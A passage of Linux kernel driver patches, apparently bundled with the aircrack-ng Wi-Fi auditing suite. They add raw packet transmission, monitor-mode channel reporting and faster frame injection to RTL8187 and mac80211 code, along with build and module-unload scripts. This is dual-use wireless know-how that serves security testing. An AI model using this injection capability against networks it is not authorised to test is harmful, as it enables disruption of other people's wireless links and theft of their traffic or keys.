rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod 2008-08-12 13:11:33.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_rx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_tx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_wx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_module.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac_wx.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/makedrv~ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ --- rtl8187_linux_26.1010.0622.2006_orig/makedrv~ 2006-09-05 07:21:10.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ 1969-12-31 19:00:00.000000000 -0500 @@ -1,13 +0,0 @@ -#!/bin/sh - -#tar -zxvf stack.tar.gz -#tar -zxvf drv.tar.gz -cd ieee80211 -make clean -make -cd ../beta-8187 -make clean -make -cd .. - - diff -Naur rtl8187_linux_26.1010.0622.2006_orig/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/Makefile --- rtl8187_linux_26.1010.0622.2006_orig/Makefile 1969-12-31 19:00:00.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_rawtx/Makefile 2008-08-12 13:11:33.000000000 -0400 @@ -0,0 +1,38 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ReadMe.txt~ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ --- rtl8187_linux_26.1010.0622.2006_orig/ReadMe.txt~ 2006-06-06 10:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ 1969-12-31 19:00:00.000000000 -0500 @@ -1,129 +0,0 @@ -Release Date: 2006-01-13, ver 1.1 -RTL8187 Linux driver version 1.1 - - --This driver supports RealTek RTL8187 Wireless LAN driver for - Fedora Core 2/3/4/5, Debian 3.1, Mandrake 10.2/Mandriva 2006, - SUSE 9.3/10.1/10.2, Gentoo 3.1, etc. - - Support Client mode for either infrastructure or adhoc mode - - Support WEP and WPAPSK connection - -< Component > -The driver is composed of several parts: - 1. Module source code - stack.tar.gz - drv.tar.gz - - 2. Script ot build the modules - makedrv - - 3. Script to load/unload modules - wlan0up - wlan0down - - 4. Script and configuration for DHCP - wlan0dhcp - ifcfg-wlan0 - 4. Supplicant source code: - wpa_supplicant-0.4.9.tar.gz - - 5. Example of supplicant configuration file: - wpa1.conf - -< Installation > -Runing the scripts can finish all operations of building up modules -from the source code and start the nic. - 1. Build up the drivers from the source code - ./makedrv - - 2. load the driver module to kernel and start up nic - ./wlan0up - -< Set wireless lan MIBs > -This driver uses Wireless Extension as an interface allowing you to set -Wireless LAN specific parameters. - -Current driver supports "iwlist" to show the device status of nic - iwlist wlan0 [parameters] -where - parameter explaination [parameters] - ----------------------- ------------- - Show available chan and freq freq / channel - Show and Scan BSS and IBSS scan[ning] - Show supported bit-rate rate / bit[rate] - Show Power Management mode power - -For example: - iwlist wlan0 channel - iwlist wlan0 scan - iwlist wlan0 rate - iwlist wlan0 power - -Driver also supports "iwconfig", manipulate driver private ioctls, to set -MIBs. - - iwconfig wlan0 [parameters] [val] -where - parameter explaination [parameters] [val] constraints - ----------------------- ------------- ------------------ - Connect to AP by address ap [mac_addr] - Set the essid, join (I)BSS essid [essid] - Set operation mode mode {Managed|Ad-hoc} - Set keys and security mode key/enc[ryption] {N|open|restricted|off} - -For example: - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - iwconfig wlan0 essid "ap_name" - iwconfig wlan0 mode Ad-hoc - iwconfig wlan0 mode essid "name" mode Ad-hoc - iwconfig wlan0 key 0123456789 [2] open - iwconfig wlan0 key off - iwconfig wlan0 key restricted [3] 0123456789 - -< Getting IP address > -After start up the nic, the network needs to obtain an IP address before -transmit/receive data. -This can be done by setting the static IP via "ifconfig wlan0 IP_ADDRESS" -command, or using DHCP. - -If using DHCP, setting steps is as below: - (1)connect to an AP via "iwconfig" settings - iwconfig wlan0 essid [name] or - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - - (2)run the script which run the dhclient - ./wlan0dhcp - -< WPAPSK > -WPA_SUPPLICANT help the network to communicate under the protection of WPAPSK -mechanism - - (1)Unpack source code of WPA supplicant: - tar -zxvf wpa_supplicant-0.4.9.tar.gz - cd wpa_supplicant-0.4.9 - - (2)Create .config file: - cp defconfig .config - - (3)Edit .config file, uncomment the following line: - #CONFIG_DRIVER_IPW=y. - - (4)Build WPA supplicant: - make - - (5)Edit wpa_supplicant.conf to set up SSID and its passphrase. - For example, the following setting in "wpa1.conf" means SSID - to join is "BufAG54_Ch6" and its passphrase is "87654321". - network={ - ssid="BufAG54_Ch6" - proto=WPA - key_mgmt=WPA-PSK - pairwise=CCMP TKIP - group=CCMP TKIP WEP104 WEP40 - psk="87654321" - priority=2 - } - - (6)Execute WPA supplicant (Assume 8187 and related modules had been - loaded): - ./wpa_supplicant -D ipw -c wpa1.conf -i wlan0 & - diff -Naur rtl8187_linux_26.1010.0622.2006_orig/symvers rtl8187_linux_26.1010.0622.2006_rawtx/symvers --- rtl8187_linux_26.1010.0622.2006_orig/symvers 1969-12-31 19:00:00.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_rawtx/symvers 2008-08-12 13:11:33.000000000 -0400 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_linux_26.1010.0622.2006_orig/wlan0rmv rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv --- rtl8187_linux_26.1010.0622.2006_orig/wlan0rmv 2006-09-05 07:21:10.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv 2008-08-12 13:11:33.000000000 -0400 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.2-rc4/patches/channel-negative-one-maxim.patch0000644000000000000000000000177511437045700022504 0ustar rootrootcommit fffd6e63ea75850dafbf2ccfb38a4189f43c0282 Author: Maxim Levitsky Date: Tue Jun 1 15:43:21 2010 +0300 wireless: allow to retrieve the channel set on monitor interface This will allow to preserve compatibility with userspace Signed-off-by: Maxim Levitsky diff --git a/net/wireless/chan.c b/net/wireless/chan.c index b01a6f6..09d979b 100644 --- a/net/wireless/chan.c +++ b/net/wireless/chan.c @@ -49,9 +49,12 @@ int cfg80211_set_freq(struct cfg80211_registered_device *rdev, { struct ieee80211_channel *chan; int result; + struct wireless_dev *mon_dev = NULL; - if (wdev && wdev->iftype == NL80211_IFTYPE_MONITOR) + if (wdev && wdev->iftype == NL80211_IFTYPE_MONITOR) { + mon_dev = wdev; wdev = NULL; + } if (wdev) { ASSERT_WDEV_LOCK(wdev); @@ -76,5 +79,8 @@ int cfg80211_set_freq(struct cfg80211_registered_device *rdev, if (wdev) wdev->channel = chan; + if (mon_dev) + mon_dev->channel = chan; + return 0; } aircrack-ng-1.2-rc4/patches/rtl8187-mac80211-injection-speed-2.6.28-rc6.patch0000644000000000000000000000213711113531005024146 0ustar rootrootdiff --git a/drivers/net/wireless/rtl818x/rtl8187_dev.c b/drivers/net/wireless/rtl818x/rtl8187_dev.c index 9212cea..08d04a3 100644 --- a/drivers/net/wireless/rtl8187_dev.c +++ b/drivers/net/wireless/rtl8187_dev.c @@ -214,7 +214,11 @@ static int rtl8187_tx(struct ieee80211_hw *dev, struct sk_buff *skb) hdr->flags = cpu_to_le32(flags); hdr->len = 0; hdr->rts_duration = rts_dur; - hdr->retry = cpu_to_le32(info->control.retry_limit << 8); + if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + hdr->retry = + cpu_to_le32(info->control.retry_limit << 8); + else + hdr->retry = 0; buf = hdr; ep = 2; @@ -232,7 +235,11 @@ static int rtl8187_tx(struct ieee80211_hw *dev, struct sk_buff *skb) memset(hdr, 0, sizeof(*hdr)); hdr->flags = cpu_to_le32(flags); hdr->rts_duration = rts_dur; - hdr->retry = cpu_to_le32(info->control.retry_limit << 8); + if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + hdr->retry = + cpu_to_le32(info->control.retry_limit << 8); + else + hdr->retry = 0; hdr->tx_duration = ieee80211_generic_frame_duration(dev, priv->vif, skb->len, txrate); aircrack-ng-1.2-rc4/patches/mac80211_2.6.28-rc4-wl_frag+ack_v3.patch0000644000000000000000000000204711236337777022634 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 0855cac..221bed6 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -611,11 +611,19 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) /* * Packet injection may want to control the sequence - * number, if we have no matching interface then we - * neither assign one ourselves nor ask the driver to. + * number, so if an injected packet is found, skip + * renumbering it. Also make the packet NO_ACK to avoid + * excessive retries (ACKing and retrying should be + * handled by the injecting application). + * FIXME This may break hostapd and some other injectors. + * This should be done using a radiotap flag. */ - if (unlikely(!info->control.vif)) + if (unlikely((info->flags & IEEE80211_TX_CTL_INJECTED) && + !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) { + if (!ieee80211_has_morefrags(hdr->frame_control)) + info->flags |= IEEE80211_TX_CTL_NO_ACK; return TX_CONTINUE; + } if (unlikely(ieee80211_is_ctl(hdr->frame_control))) return TX_CONTINUE; aircrack-ng-1.2-rc4/patches/rtl8187_2.6.35-monitor_only.patch0000644000000000000000000161646211446473441022113 0ustar rootrootdiff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006.modified/beta-8187/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h 2006-06-05 19:58:02.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/ieee80211_crypt.h 2010-05-19 22:18:51.849360466 -0700 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h rtl8187_linux_26.1010.0622.2006.modified/beta-8187/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h 2006-06-05 19:58:02.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/ieee80211.h 2010-05-19 22:18:51.852693450 -0700 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,21 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) - -extern inline void *ieee80211_priv(struct net_device *dev) +#if WIRELESS_EXT >= 22 +static inline void *ieee80211_priv_rtl7(struct net_device *dev) +#else +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) +#endif { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1200,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1226,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1254,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct 